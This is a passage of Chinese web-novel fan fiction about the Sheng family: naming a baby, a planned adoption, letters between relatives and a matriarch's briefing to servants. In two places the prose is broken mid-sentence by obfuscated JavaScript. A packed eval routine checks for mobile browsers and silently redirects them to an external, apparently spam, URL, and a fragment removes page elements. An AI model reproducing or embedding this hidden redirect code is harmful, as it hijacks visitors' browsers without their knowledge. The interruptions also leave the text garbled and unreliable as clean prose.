盛瑾走到摇篮前,将盛明兰放在地上,转手将摇篮中的孩子抱起来,颠了颠,然后,用调笑的口吻道:“真重啊!看来养的不错,都快成小猪仔了,要不小名就叫猪猪吧。” 盛瑾这一番话将盛老太太和盛明兰逗的哈哈大笑,盛老太太一边笑一边用手轻轻的打着盛瑾,道:“你个不正经的,哪有人的小名叫猪猪的,快把我孙子还我,别到时候被你弄哭了,还要我来哄。” 盛瑾抱着孩子,脸上带着笑意,语气柔和的开玩笑道:“母亲,您这么快就移情别恋了嘛,瞧瞧我这可怜的人,还没当母亲心肝多久就被抛弃了。” 盛老太太并没有在意盛瑾的话,毕竟她也知道盛瑾这是在逗她开心,不过,她因着盛瑾说起小名的事情才想起这个孩子还没有名字呢,便直言道:“你与其想着给这孩子取小名,还不如想想给这个孩子起什么名字好,他出生也有段日子了,也是时候该起个名字了。” 盛老太太说到这里,用充满慈爱的眼神看着盛瑾,道:“你是他的嫡亲叔父,我想让你给他起个名字,你要让这个孩子随轩哥儿那边的车字旁,还是随盛家这边的木字旁。” 盛瑾抱着孩子,沉思片刻,语气柔和,道:“哪边都不跟吧,就叫盛长安,长安,长安,一生平安,这孩子的出生不易,我希望他接下来的人生一生平安顺遂。” 盛老太太的目光随着盛瑾的话看向他怀中的孩子,喃喃道:“长安,盛长安,这个名字不错,这孩子以后就叫盛长安了。” 盛老太太是武将世家出身,也不在乎这些东西,也就随着盛瑾这样取名字了,毕竟她儿子和大孙子都没按着盛家这边取名,也就不在乎再多一个小孙子了。 盛老太太将目光从孩子身上撤回,道:“既然这个孩子已经有名字了,那我们何时回宥阳老家,毕竟明姐儿和安哥儿过继的事情,还是需要尽早回宥阳老家解决才好。” 盛瑾将怀中的盛长安放在摇篮后,缓缓开口道:“汴州城的船还有几日就要到了,我想等汴州城的船只到了后再启程,这样也省的再准备船了,而且我打算将烨哥儿叫回来,给他正式介绍一下明儿和安儿,顺便告诉他我要回宥阳老家的事情,对了,母亲,你寄到宥阳老家的信件应该也快到了吧。” 盛老太太对盛瑾的决定没有任何意义,她微微点了点头,道:“瑾儿你想得很好就这样吧,我给宥阳老家的信估摸着也快到了,等我们出发后再去一封信告知他们便可以了。” 盛瑾见盛老太太已经有了打算便不再说什么,而一旁趴在摇篮边的盛明兰正全神贯注的逗着摇篮里面的盛长安,全然没有在意盛老太太和盛瑾说了什么,而盛老太太也没有在继续聊下去,只是与盛瑾一般看着两个孩子。 三天后,在书院的顾廷烨被盛瑾的一封信给叫了回来,他一进门就直奔盛瑾的院子,不出意外的看到了盛瑾抱着盛明兰教导顾廷炜学习的场景。 顾廷烨不由自主的停下脚步,他不需要猜都知道盛瑾怀中的小姑娘就是白滢婷在信中提起的那个盛瑾要过继的姑娘,他不由自主的回想起当时他看完白滢婷信件时的震惊,毕竟盛瑾一醒来就将他塞到书院里,而盛老太太当初也只告诉白滢婷和白老爷她与盛瑾的关系。 顾廷烨本来还以为他已经因着盛瑾这件事情彻底失去盛长柏这个朋友了,没想到峰回路转,他和盛长柏居然因着盛瑾有了更深的关系,果真是你永远不知道下一秒会发生什么事情啊! 顾廷烨思虑再三后,还是决定将这件事情告诉盛长柏,毕竟从盛长柏的状态上不难看出他对这件事情一无所知。 顾廷烨想着不能自己一个人如此震惊,他也想看一本正经的盛长柏脸上出现震惊的表情,于是当天晚上他就拿着信给盛长柏看了,而他也如愿看到了盛长柏惊讶的表情,但随之而来的是他们的相顾无言,过了好一会儿,盛长柏率先开口道:“我还以为自盛国公在我们家发生那件事情后,你与我便再无联系了。” 顾廷烨有些心虚的摸了摸鼻子,他也知道自己那天有些迁怒盛长柏了,过了一会儿,他才缓缓开口道:“实在抱歉,我那天确实有些迁怒与你,可过后也想通了,这不怪你,这些日子不与你搭话,只是我不知道要如何面对你罢了,不过谁能想到你们家老太太居然是我舅舅的亲生母亲,这着实是让人大吃一惊。” 盛长柏点了点头表示对顾廷烨话的认可,之后他和顾廷烨不知怎么着居然聊了起来,不过他们大多数的话题都是围绕着盛瑾和盛长轩的,毕竟盛长柏对自己那六元及第的堂兄很是向往的。 顾廷烨的回忆也到此结束,瞧着盛瑾三人和睦相处的场景,一时嘴欠道:“哎呦,舅舅你从那拐来的孩子,看起来挺水灵的,还有些眼熟啊!” 顾廷烨这话不仅被盛瑾三人听见了,还很不凑巧的被刚走进来的白老爷听到了,白老爷上前拍了一下顾廷烨的背,笑骂道:“你这个猢狲,你母亲不是在信里说过嘛,这是盛家的盛明兰,你舅舅未来的女儿,你的表妹,这怎么刚回来就打趣你舅舅,也不怕吓到你表妹,我告诉你,你以后若是敢欺负你表妹,看我怎么收拾你。” 顾廷炜满脸笑意的看着白老爷训斥顾廷烨的同时,还不忘幸灾乐祸道:“该,谁让哥哥说舅舅的坏话了,活该被外祖父训斥,我要告诉舅舅让他再训斥你一次。” 顾廷烨没在意白老爷的训斥,他直接上去抱住顾廷炜,一边挠他痒痒,一边咬牙切齿道:“让你说我,让你说我,我看你还敢不敢看我的笑话了,你还告诉舅舅,舅舅不就在这嘛,哪来的告状一说。” 顾廷炜被顾廷烨挠的笑个不停,他笑得有些喘不过气,道:“哈哈哈,哈哈哈,我错了二哥哥,我错了,我再也不敢了,你饶了我吧。” 盛明兰在盛瑾怀中不知道咋办才好,一个是帮过她的大哥哥,一个是这些天来照顾她的哥哥,她只能手足无措的在盛瑾怀中看着他们打闹。 白老爷看着顾廷烨和顾廷炜玩闹的样子,又看了一眼盛明兰,他瞧着盛明兰手足无措的样子,不禁莞尔一笑,他大步走到盛明兰面前不远处,笑眯眯道:“来,乖孙女,过来给白祖父抱抱,别理你的这两个表哥,他们啊!闹着玩的。” 盛明兰没有犹豫的让盛瑾将她放下,向前走一步到白老爷跟前,朝着白老爷伸手,而白老爷也顺势抱起盛明兰,站在一旁的盛瑾则是对着顾廷烨翻了个白眼,道:“还不放开你弟弟,找抽呢吧你。” 顾廷烨一听到盛瑾的话,瞬间就放开顾廷炜,讪讪笑道:“没有,舅舅,你看我这不是放开了嘛。” 盛明兰窝在白老爷怀中,用充满好奇的眼神看着他们对话,而白老爷则是笑眯眯的调整姿势让盛明兰更方便看戏,其实盛明兰和白老爷起初并没有这么亲近,只不过小孩子很敏感,谁对他们好,他们是能感应出来的。 盛明兰每次来白家,白老爷都会给她送好吃的好玩的,拿她当亲孙女一般对待,慢慢的盛明兰和白老爷的关系就亲密起来了,再加上盛明兰长的很像盛长轩,性格又十分乖巧,渐渐的白老爷对她比对顾廷炜这个孙子还要好。 顾廷烨看到白老爷和盛明兰的亲密样子,心里不经感慨道:“果然孙子多了就不值钱了啊!不过,这才多久啊!外祖父居然和这小姑娘处的和亲的一样。” 顾廷烨盯着盛明兰看了一会儿,他觉得盛明兰十分眼熟,过了一会儿才反应过来,在心里暗暗想道:“怪不得眼熟啊!原来是盛家那个小姑娘啊!只不过比在盛家时胖了点,母亲怎么没在信里说清楚呢啊!还有盛长柏,那日他也看了信的,居然也没告诉我盛明兰就是那日的小姑娘,盛长柏那小子不会是故意想看我出丑吧。”其实不怪盛长柏,白滢婷在信中一笔带过盛瑾过继之事,而盛长柏也不会无缘无故的和顾廷烨说过继的那两个孩子你见过吧。 顾廷烨眼珠子一转,不知在想些什么,过了一会儿,他又在心里暗暗道:“等回去再找盛长柏算账,不过,我当初的一个念头没想到居然能成真,谁能想到这个小姑娘竟然真的成了我的妹妹了,缘分这种东西真的很奇妙啊!” 盛瑾看着顾廷烨这般不正经的样子,脑门一阵头疼,一想到小说里被曼娘欺骗的顾廷烨,就觉得自己应该不会养出剧中的那个二愣子的顾廷烨吧,他在心里暗戳戳道:“以后无论是男是女都得加强这方面的教育了,剧中那个顾廷烨是有多傻才会被一个女子骗成那样啊!如果烨儿真的和剧中一样的话,我就打断他的狗腿。”此时站在一旁的顾廷烨突然打了个冷战,感觉像是被什么盯上了一样。 盛瑾看着顾廷烨的样子越想越生气,对着顾廷烨喊道:“站在那干嘛,还不过来,让我看看你的功课有没有落下。” 顾廷烨看了看四周,知道自己的舅舅是再叫自己,摸了摸鼻子,走了过去,一边走一边在心里暗暗道:“我最近没给舅舅惹事啊!为什么舅舅像是吃了火药一样啊!” 顾廷烨就这样被自家舅舅盛瑾列为了重点关注对象,而在盛瑾接下来的考核中他简直是度日如年啊!直到用膳时,他才被盛瑾放过,不过他不知道的是盛瑾已将给他布置了许多功课,这些功课能做到盛瑾带他回汴州城。 顾廷烨不知道他度日如年的日子才刚刚开始,等他用完膳以及得知盛瑾要去宥阳老家后并没有多大反应,相反因着盛瑾刚才对他的考核,他还巴不得盛瑾赶紧回宥阳老家呢,尤其是在他收到盛瑾给他准备的宛如大山一般的功课时,他的这个想法更加迫切了。 顾廷烨因着只请假了一天,所以第二天就要回书院去,他起了个大早收拾好东西后,马不停蹄的逃离了白家,那速度像是有什么可怕的东西在追他一样,看得白家上下目瞪口呆。 等顾廷烨回到书院看到盛长柏时,宛如看到了亲人一般,热泪盈眶,搞得周围的学子都用奇怪的眼光看着他们俩个,好像他们两个有什么不可告人的关系一般。 盛长柏则是一脸疑惑的看着顾廷烨,他实在不知道为什么顾廷烨回一趟白家就变异了呢,没成想顾廷烨看着盛长柏这样,便开始不由自主的向盛长柏吐槽盛瑾那宛如大山般的功课,可是他哪里知道盛长柏本来就是盛瑾和盛长轩的铁杆粉丝,自从知道盛瑾和盛长轩是他的二伯父和堂兄后,那崇拜的高度上升到了和珠穆朗玛峰一样高了。 顾廷烨正吐槽的起劲时,突然发现自己好友的脸色越来越黑,感觉到情况不对劲,突然想起了在那日他与盛长柏讲关于盛瑾和盛长轩的事情时,盛长柏眼中发出光芒的样子。 顾廷烨心中感觉到一阵不妙,正想逃离盛长柏时,被盛长柏一把拉住,只见盛长柏口若悬河、滔滔不绝的讲着盛瑾这么做是为了他好,他就这样被盛长柏批斗了三个时辰,直到盛长柏口干舌燥了才停下来。 顾廷烨看到盛长柏终于停下来时,那激动的热泪盈眶啊!对着盛长柏再三保证,一定不会再这样了,才被盛长柏放过,但盛长柏还是扬言要监督他完成盛瑾布置的功课,顾廷烨觉得他当时是脑子抽风了才和盛长柏诉苦,如今的他真是悔不当初啊! 盛长柏没在意萎了的顾廷烨的心态问题,接着向顾廷烨问到盛明兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛长柏想着自己母亲的话,不得不认清现实,盛明兰姐弟两人跟着自家二伯父和祖母比留在盛家强,想想盛明兰姐弟两留在盛家过着无母庇护的日子,还不如当二伯父的女儿和大伯父的儿子,至少身份上是嫡出的,但他出于关心,还是再问了一次顾廷烨,毕竟他对于顾廷烨还是信任的,因此当他听到盛明兰还长胖了时,他是打心里为盛明兰姐弟高兴的,而此时远在边疆的盛长轩也收到了盛瑾的信,他本以为信中是盛瑾对他的关心问候的话语,谁曾想到他老爹去一趟扬州城居然能给他找出个妹妹和一大家子亲戚。 盛长轩看完这封信后,不知该如何表达自己内心的心情了,要不是他了解自家老爹的性子,估计都开始怀疑这是不是盛瑾为了报复他先前的先斩后奏,而跟他开的一场玩笑,不过,他的接受能力还不错,自我调节了一下,便欣然接受了这一切,毕竟他觉得自家父亲有个女儿和母亲陪伴也不错,这样他也就不用担心自家老爹孤单的问题了,至于其他人就当作伴手礼吧。 盛长轩自认为以自己和盛瑾的能力镇压盛家那群亲戚根本不在话下,更何况他觉得盛家的人应该大部分都不错,毕竟盛瑾可不像是会自找麻烦的人,不过尽管他这般想着,但还是忍不住在心里吐槽道:“还说我不靠谱呢,老爹您也没比我靠谱到哪里去吧,这叫什么,有其父必有其子,我就找了一个,您就给我找了一群。” 如果此时盛瑾能听到盛长轩的心声的话,一定会大骂道:“tmd,你找的那个能和我找的这一群比吗?根本不是一个重量级的吧。”可惜他并不能听到盛长轩的心声,要不然他肯定把每半年给盛长轩送的十几车粮食丢到海里,也不便宜这个不孝子啊! 盛长轩将自家老爹盛瑾友情附赠的一张盛明兰和盛老太太的画像拿起来细细打量了一番,他看着画中的盛老太太,心里不禁感慨道:“我这祖母瞧着不是一般人啊!”然后,他的目光又转向画中的盛明兰。 盛长轩觉得盛明兰的长相有些眼熟,思索了一会儿才恍然大悟,道:“我就说怎么有些眼熟呢,感情父亲找的这妹妹长得与我小时候十分相似,看来这算是一场缘分吧。” 盛长轩又看了眼画中的盛明兰,脑海中不禁幻想起自家软糯糯的妹妹喊着:“哥哥”的场景,他从小就想要一个妹妹,毕竟自家全是男的,可谓是阳盛阴衰啊!如今自己老爹给他找了个妹妹,相似的容貌一看就和他们家有缘啊!同样的貌美如花啊! 盛长轩此时有些臭美,其实他有点自恋的事情除了他老爹盛瑾知道外,其他人一概被他高冷的外表唬住了,再加上他平时挺正常的,也就没人发现他这有些臭美的毛病。 盛长轩对于盛瑾信中提到的合府居住也没多大反应,毕竟他都欣然接受这一群亲戚了,那合府居住这件事情对他而言也不难接受,更何况以盛瑾的性子与能力,除非他自个愿意,要不谁都别想占他的便宜,他别说是门了,连个缝都不会留下的。 盛长轩正在暗戳戳的想着盛瑾,小皇子突然跑了进来,眼眶通红的展开双手,对着他奶声奶气道:“盛哥哥,我要抱抱,我做噩梦了,我好害怕啊!” 盛长轩没想到午睡的小皇子会突然醒来找他,但他还是下意识的将小皇子抱进怀里安抚道:“不怕,不怕,我在这里呢。”过了好一会儿,小皇子才在盛长轩的安抚下将情绪平复下来。 自从皇帝把小皇子交给盛长轩后,小皇子就像是认准了盛长轩这个人,谁照顾都不行,只要待在盛长轩身边,一见不到盛长轩就哭,搞到最后,盛长轩妥协了,去哪里都带着小皇子,索性小皇子还是很乖的。 盛长轩从小皇子的话中不难猜出小皇子是因为被噩梦吓醒后没看到他才哭的,然后,小皇子又想起他说过,如果见不到他人就来书房找,于是就有了现在这一幕。 盛长轩想起信中盛瑾还询问他是否可以按照慕卿云的遗嘱将她嫁妆中的一成提前取出,交由盛老太太替盛明兰保管,他对于这件事情没有什么意见,毕竟这是慕卿云的遗嘱,他尊重他母亲生前的想法,其实他对慕卿云这个母亲的印象十分模糊,不过,他从白滢婷的口中可以得知她是一个极好的女子,只可惜她英年早逝没能陪伴他长大。 盛长轩想道这里,想起了画中盛明兰那与他十分相似的容貌,他不禁有些好奇盛明兰长大后是否会与慕卿云有几分相似呢,毕竟白滢婷曾说过自己小时候与慕卿云有几分相似,只可惜长大后容貌更偏向盛瑾。 盛长轩怀中的小皇子瞧着他好久都没反应,便扯了扯他的衣袖,语气中带着些许困意,道:“盛哥哥,你怎么了嘛。” 盛长轩回过神来看着怀中又有些犯困的小皇子,微微一笑,道:“没什么,只是想着要如何给我父亲回信,现下想好了,你是要等我回信完再送你回去呢,还是我先送你回去再来写信呢。” 小皇子没有任何犹豫,睁大眼睛,语气充满了坚定,道:“我要等你写完信和我一起回去睡觉。”于是盛长轩便抱着小皇子坐在书桌前的椅子上给盛瑾回信,而小皇子乖乖的待在他的怀中,眼睛直盯着他的信纸,仿佛他能看懂一样。 盛长轩下笔如有神,很快就将给盛瑾的信写好了,除此之外,他还吩咐了管家给自己那位素未谋面的祖母和妹妹以及盛瑾他们准备了一些礼物,他派人将这些东西和信件一同寄去了扬州城,不过,他没想到盛瑾那时已经出发去宥阳老家了,于是白老爷又将属于盛瑾、盛老太太、盛明兰的东西与信件寄去了宥阳老家,这是后话了,而此时写完信的盛长轩已经抱着小皇子回房间睡觉去了。 第 44 章 清晨,宥阳盛家的丫鬟小厮们一大早就被叫到了这个院子来,他们谁都不知道为什么大早上会被叫到这来,但隐约察觉到气氛不对,于是他们都很有默契的低着头,谁也不敢出声。 李氏正坐在椅子上犹如领导发话般,那气势拿捏的死死地,她瞧着人满为患的院子内静悄悄的,自觉得时候差不多了,于是她定了定神,面色淡然,道:“想必大家都在疑惑我为何会让你们今早都来这院中吧,我也不和你们卖什么关子了,昨个老爷和老太太得知了一件关于盛家的喜事,他们让我今个也说给你们高兴高兴。” 李氏有些吊胃口的顿了顿,然后,慢悠悠的接着道:“这件喜事与二房老太太有关系,二房老太太曾育有一嫡子年幼夭折的事情想必大家都有所耳闻吧,不过,二房老太太前不久得知她当年生育的是一对双生子,其中一位哥儿在出生时因着一些事情丢失了,现如今才被二房老太太找回相认,说来也巧,二房老太太那位失踪的哥儿居然是当今陛下亲封的丰国公盛瑾。” 李氏的话像是一个又一个的炸弹,炸得盛家这群丫鬟小厮措不及防,不过,他们对于盛老太太的亲生儿子是丰国公盛瑾这件事情的震惊程度,已经远远盖过了盛老太太还有一个儿子的事情,他们感觉自己的CPU都快被烧干了。 院内的这些个丫鬟小厮此时思维同步的被炸蒙圈了,他们不约而同的在心里想道:“二房老太太有个儿子,嗯,让人出乎意料,啥,丰国公府的盛国公就是二房老太太的儿子,天爷啊!白天都能做梦了吗?我们还没睡醒吧。” 盛家的丫鬟小厮们此时的内心犹如坐过山车一般,上下起伏啊!突然,寂静的人群中传来一声响亮的“啊!” 李氏面色不改的冲着声音的方向望去,原来是一个小厮突然掐了一下他身旁的另一个小厮,那个被掐的小厮碍于现在的场合不能动手,只能对着掐自己的人怒目而视,压着音量咬牙切齿道:“你捏我干嘛。” 那个掐人的小厮没有回复对方,只是呆呆的喃喃自语道:“原来不是做梦啊!”这句话说出了在场所有人的心声。 那个被掐的小厮见对方这般,又不好当场发飙,只能在心里气愤道:“敢情你是知道捏自己会疼,就捏别人啊!你给我等着,我一定要捏回来。” 李氏没将这场闹剧放在心上,她只是静静的等待着这些个丫鬟小厮们消化完这个消息,过了一会儿,她面无表情,语气平淡,道:“好了,你们也差不多缓过神来了,接下来我有件重要的事情要说,不久后,二房老太太和国公爷都要回到宥阳,他们此番回宥阳只有两件事情,一来是见见亲戚,二来是入族谱和过继孩子。” 李氏说到这里,脸上的表情瞬间变得十分严肃,然后,她用冰冷的眼神扫视了一遍在场所有的丫鬟小厮,缓缓开口道:“国公爷给自己过继女儿和他早夭的兄长过继儿子,无论是姑娘还是哥儿你们都给我尽心尽力的去伺候,莫要因着她们先前的身份而乱嚼舌根,我们盛家可留不得那等子奴大欺主之人。” 李氏看了眼在场的丫鬟小厮们,神情庄重,道:“你们也别觉的我是在大题小做,二房老太太和国公爷对这两个孩子甚是看重,自然容不得他人轻视这两个孩子,我只是在给你们提个醒,若真出了什么事情就别怪我不留情面了。” 李氏的话让在场的丫鬟小厮们下意识的打了一个寒战,随即声音洪亮的齐声回道:“大娘子请放心,我们明白该怎么做。” 李氏打量着在场的丫鬟小厮们,眼中闪过一丝满意,她语气柔和的给在场的人喂了一颗定心丸,道:“你们大多数都是盛家的老人了,我对你们自是放心的,不过你们也不用太过于担忧,这二房老太太和国公爷都不是什么难伺候的人,至于那两个孩子,大的才五岁,小的还不到一岁,他们身边自是有可靠的女使婆子照料着,平日里也用不着你们贴身伺候,因此,你们只需尽心尽力的去完成他们交代的事情便出不了什么大问题。” 在场的丫鬟小厮们听着李氏的话,心里的紧张感也得到了些许的缓和,不过,这会回过神来的一些人内心冒出了些小心思。 李氏的目光还停留在这些个丫鬟小厮身上,自然而然便发现了其中有几个容貌俊俏的丫鬟眼神中闪烁着雀跃,她突然联想到盛大老太太昨天提醒的关于丫鬟之事,心里不禁暗道:“这还真被婆母说中了,这些个丫鬟可真是不知所谓啊!” 李氏脸色有些微沉,语气中夹杂着一丝冷意,道:“我也说了,我对盛家的老人自是相信的,不过,对于那些个新进来的女使们,我还是要多说几句,别想着麻雀飞上枝头变凤凰这种不切实际的美梦,满天下谁不知道丰国公府盛国公是个痴情种,国公府那么多美貌女使,汴州城有多少貌美如花的大家闺秀,你们可瞧着盛国公对谁动了心,纳了谁为妾,又娶了谁当填房嘛,切记不要自以为是,若是谁敢做出那种爬床勾引之类没脸子的事情,我绝对不会放过她,谁若是喜欢勾引男人,那我便送她去勾栏瓦舍过日子,我这人一向是说到做到,记着谁让我不好过,我就让谁不好过,你们都听到了嘛。”她一边说,一边用目光打量着那些个颇有些姿色的丫鬟。 本来有些姿色的丫鬟们心里还是有些想法的,但李氏的话让她们打了个冷战,也让其中大部分人刚燃起的火苗就此熄灭了,毕竟谁都害怕偷鸡不成蚀把米,正如李氏所说,这国公爷什么美人没见过啊!这么多年却还单着,可见是个痴情种,她们还是安安稳稳过日子吧,于是她们齐声道:“是,大娘子。” 李氏瞧着敲打的效果还不错,便觉得既然已经训斥过了,那也该给个甜头了,毕竟打一巴掌给个枣的道理还是古今通用的法子。 李氏脸上浮现出一抹笑容,语气也变得柔和许多,道:“在场的都是盛家的老人,我自是信任你们的,今天这般话也不过是给你们提个醒罢了,毕竟谁也不敢保证不会发生这种事情嘛,因此,我先未雨绸缪一下也不为过,今天你们一早上辛苦了,等一会儿都去管家那领一个月的月钱,就当我给大家压压惊了,若是往后做的不错的话另有赏钱。”果然钱给人带来的动力是无限的,在场的丫鬟小厮们瞬间就不在意刚才李氏的威胁了,他们当即给李氏表了忠心,绝对会好好干事情,不会让盛家丢脸的。 李氏见状再次给在场的丫鬟小厮打了一次鸡血后,便让她们都下去了,而她则是回到屋内等待孩子们的到来,不一会儿,盛淑兰、盛长松、盛长梧、盛品兰都到了,此时的他们都知道李氏叫他们来的原因,因为盛淑兰昨天就将事情告诉了他们,除了五岁的盛品兰没什么感觉外,其他人的震惊在经过一夜的消化后也回归了平静。 盛长松从小就被盛维带在身边教导,再加上他如今十七岁了,自然清楚他这个国公爷堂叔父会给盛家乃至他本人带来什么样的影响,而九岁的盛长梧只是单纯觉得国公爷这个身份很厉害,并且从自己哥哥姐姐的话中总结出了一句堪称精髓的话,那就是“堂叔父是一个很厉害的人。” 至于五岁的盛品兰还处于懵懂无知的阶段,她听了半天都没听懂盛淑兰他们的话,全程只知道自己多了个堂叔父,并且她因着最近迷上了小兔子,还说出了一句语出惊人的话,道:“堂叔父会给品儿绣小兔子吗?” 这句话搞得盛长松和盛淑兰乃至盛长梧一阵无语和后怕,心里同步的想道:“还想让国公爷给你绣小兔子,你莫不是怕吓不死爹娘吧。” 盛淑兰还郑重的和盛品兰小朋友说道:“若是堂叔父住在家中,你碰巧遇上他,绝对不能对他提什么要求,尤其是绣小兔子这样的话就更不能说了,要不然大姐姐就不带你玩了。” 盛品兰小朋友闻言,皱着眉头,扁扁了嘴,满脸不高兴,但她也大声答应道:“大姐姐,知道了,哼,我不去找堂叔父玩了。”最后一句表达了她最后的倔犟。 盛淑兰没在意盛品兰最后一句,她心里松了口气,脸上浮现出一抹笑容,语气柔和,道:“品儿真乖,改天大姐姐带你出去玩。”她的这句话瞬间让盛品兰的不满消失的一干二净,然后,盛品兰小朋友喜笑颜开的和盛淑兰拉勾保证。 时间回到现在,李氏看着自己这四个子女,眼中满是笑意,道:“松儿、梧儿、品儿你们的大姐姐已经告诉你们了吧。” 盛长松率先发言,语气中带着一丝恭谨,道:“母亲,大姐姐昨天都跟我们说了,我们多了一位身份不凡的堂叔父。” 盛长梧点了点头,然后,接着盛长松的话,语气微微上扬的补充道:“对,一位拥有国公爷身份的堂叔父。” 李氏瞧着自己这两个儿子颇为满意,她知道自己的长子盛长松从小跟在盛维身边,自然了解这意味着什么,而是盛长梧那边自有盛长松照料着,因此,她也不需要多提点什么。 正当李氏放心的端起茶杯喝了一口茶时,盛品兰突然出声,补了一刀道:“三哥哥说谎,堂叔父一点也不厉害,他不会给品儿绣小兔子。” 盛淑兰闻言,瞪大双眼,语气中带着一丝惊慌,声音微微上扬道:“品儿,你不记得答应过大姐姐什么了嘛。” 李氏一口茶瞬间喷了出来,心里惊恐的想道:“天爷啊!你还想要国公爷给你绣兔子,你咋不直接上天呢!” 李氏有些无力又生气的看着盛品兰那懵懂无知的小眼神,她在心里不断的默念道:“这是亲生的,亲生的,冷静,冷静,她还小,不懂,慢慢告诉她。” 李氏平复了一下心情,对着盛品兰撤出一个皮笑肉不笑的笑脸,道:“品儿,以后不许说这些绣不绣小兔子的话,知道了吗?” 盛品兰显然没有看懂李氏的脸色,她扁扁嘴,语气中带着一点委屈,道:“三哥哥骗人,母亲还不让我说,堂叔父连兔子都不会绣,一点都不厉害。” 李氏快被自家小女儿的话给气死了,她都能想象出若是盛品兰在盛瑾面前说出这样的话,自己该有多尴尬了,但她又无法和盛品兰讲清楚,于是她只能咬着牙,一字一句道:“品儿,记着不许再说堂叔父不会绣兔子这类的话了,现在你只需要回答知道了就好。” 盛品兰瞧着李氏神情庄重,即使她看不懂李氏的眼色,可还是能感觉到气场的不对,于是她只能撅着个嘴,语气中充满了不满,道:“知道了。” 李氏看着自己女儿委屈的样子,眼神带着些许心疼,语气也不由自主的软下来,道:“品儿,你堂叔父有个和你差不多大的女儿,到时候你可以和她一起玩。” 盛品兰的眼睛一下子亮了起来,全然将刚才的事情抛之脑后,语气中满是惊喜,道:“母亲真的吗?我有妹妹可以陪我玩了吗?” 李氏看到小女儿高兴的样子,不禁觉得好笑,她知道自己的小女儿和大女儿岁数相差有点大,不能经常一起玩,而盛家三房那边的孩子与她们不甚亲近,况且就盛家三房那行为举止,她也不敢让自家孩子与他们来往过甚,所以她知道盛品兰心里挺孤独的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8604918|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李氏想到这里,心里不由自主的期盼着盛老太太她们快点到来,然后,她微笑的摸着盛品兰的头发,轻声细语,道:“嗯,等你堂叔父到了后,你就有一个堂妹妹可以一起玩耍了,不过,你可不能欺负堂妹妹,知道吗?” 盛品兰小朋友拍拍自己的小胸脯,一脸坚定,道:“我是姐姐,我绝对不会欺负妹妹的,我还会和妹妹分享我的玩具呢,母亲您就放心吧。” 满厅的人被盛品兰这个样子给都逗笑了,李氏又嘱咐了另外三个孩子一些事情后,便让他们四个回去了,而自己则是去忙其他事情了。 宥阳盛家一切太平,而扬州城这边,盛纮在盛瑾离开后不久,便悄悄的来到了林噙霜所在的庄子上,他瞧着怀中的林噙霜,哭得梨花带雨,心里止不住的心疼,道:“霜儿,你莫要再哭了,瞧你这样,我心疼啊!” 林噙霜趴在盛纮怀中抹着眼泪,语气哽咽道:“纮郎,我在庄子这些日子已经深刻反省了,我知道错了,你就让我回去吧,再者,我也是因为对纮郎你忠贞才会惹出这种事情啊!毕竟以我对纮郎你的感情,哪能在听到卫小娘偷人时,对这件事情视而不见呢,我也是因着对纮郎你的感情才昏了头做出这种事情的啊!纮郎,你就让我回去吧。” 盛纮看着林噙霜这般,眼中充满了心疼,他下意识想要答应,可脑海中闪过盛瑾的话,若是他让林噙霜回去,且不说会不会在盛瑾那里留下个出尔反尔的形象,就是那商量好的合府居住绝对会黄了,毕竟盛瑾话中的意思已经很明了,若是他想合府居住那就不能让林噙霜出现在盛瑾所在的地方。 盛纮想到这里,狠了狠心,道:“霜儿,我知道你是因着我才乱了方寸,在卫小娘这件事情中出了大错,也知道让你住在这儿也是委屈你了,可二哥哥被你气晕是实打实的事情,你也知道我那二哥哥是个痴情之人,守了我那已逝的二嫂嫂将近二十年,你千不该万不该,不该拿这件事情来造谣,这不是在质疑他对二嫂嫂的感情嘛,二哥哥如今一见到你就来气,若是我让你回盛家,万一将二哥哥又气倒了,那我不就成了谋害兄长之人了吗?霜儿,你忍心看着我被人唾弃吗?” 盛纮将事情往严重了说,上升到谋害兄长上面,林噙霜一时哑言,竟不知道如何接盛纮的话,毕竟她不能直接和盛纮说她忍心吧,这样岂不是间接告诉盛纮他们之间的感情是假的嘛,于是林噙霜沉默片刻只能将话题引到两个孩子身上,道:“那我若不回去,墨儿和枫儿怎么办呢?他们还如此年幼,若是没有亲娘庇护着他们,恐怕会被刁奴欺负啊!再者,大娘子一向看不惯我,万一她因着我的缘故迁怒于枫儿墨儿,可怎么办啊!纮郎,他们可是我和你的孩子啊!纮郎你忍心让他们再重蹈你小时候的磨难嘛。” 盛纮闻言,急忙搂紧林噙霜,语气轻柔的安抚道:“霜儿,你放心,有我这个父亲在,没人敢刻薄了墨儿枫儿去。” 林噙霜依靠在盛纮胸前,脸上带着些许担忧,道:“纮郎,我不是不相信你,可你有公务在身,又如何能时刻照看我们的墨儿枫儿呢,再说,我也不想你因着墨儿枫儿这些事情耽搁了公务,万一影响到你的前程就不好了。” 盛纮听着林噙霜这一番话,心中一软,道:“霜儿,为了我们的孩子们,我心甘情愿,不过,霜儿你也不必对枫儿墨儿过于担忧,他们如今也不是懵懂无知的幼童,若是受了委屈定会告知我的。” 林噙霜低着头,眼中闪过一丝不甘,道:“纮郎说的是,可我这做母亲的还是担心孩子们,这些日子我常常想着墨儿枫儿吃的好吗?穿的暖吗?又或是手里的银钱够不够用呢?有没有人给他们打点事务呢?” 林噙霜说到这里,语气带着些许哽咽道:“我想着我不在外面管理田产铺子挣些银钱,贴补墨儿的嫁妆,恐怕墨儿以后因着嫁妆薄而被婆家小视啊!” 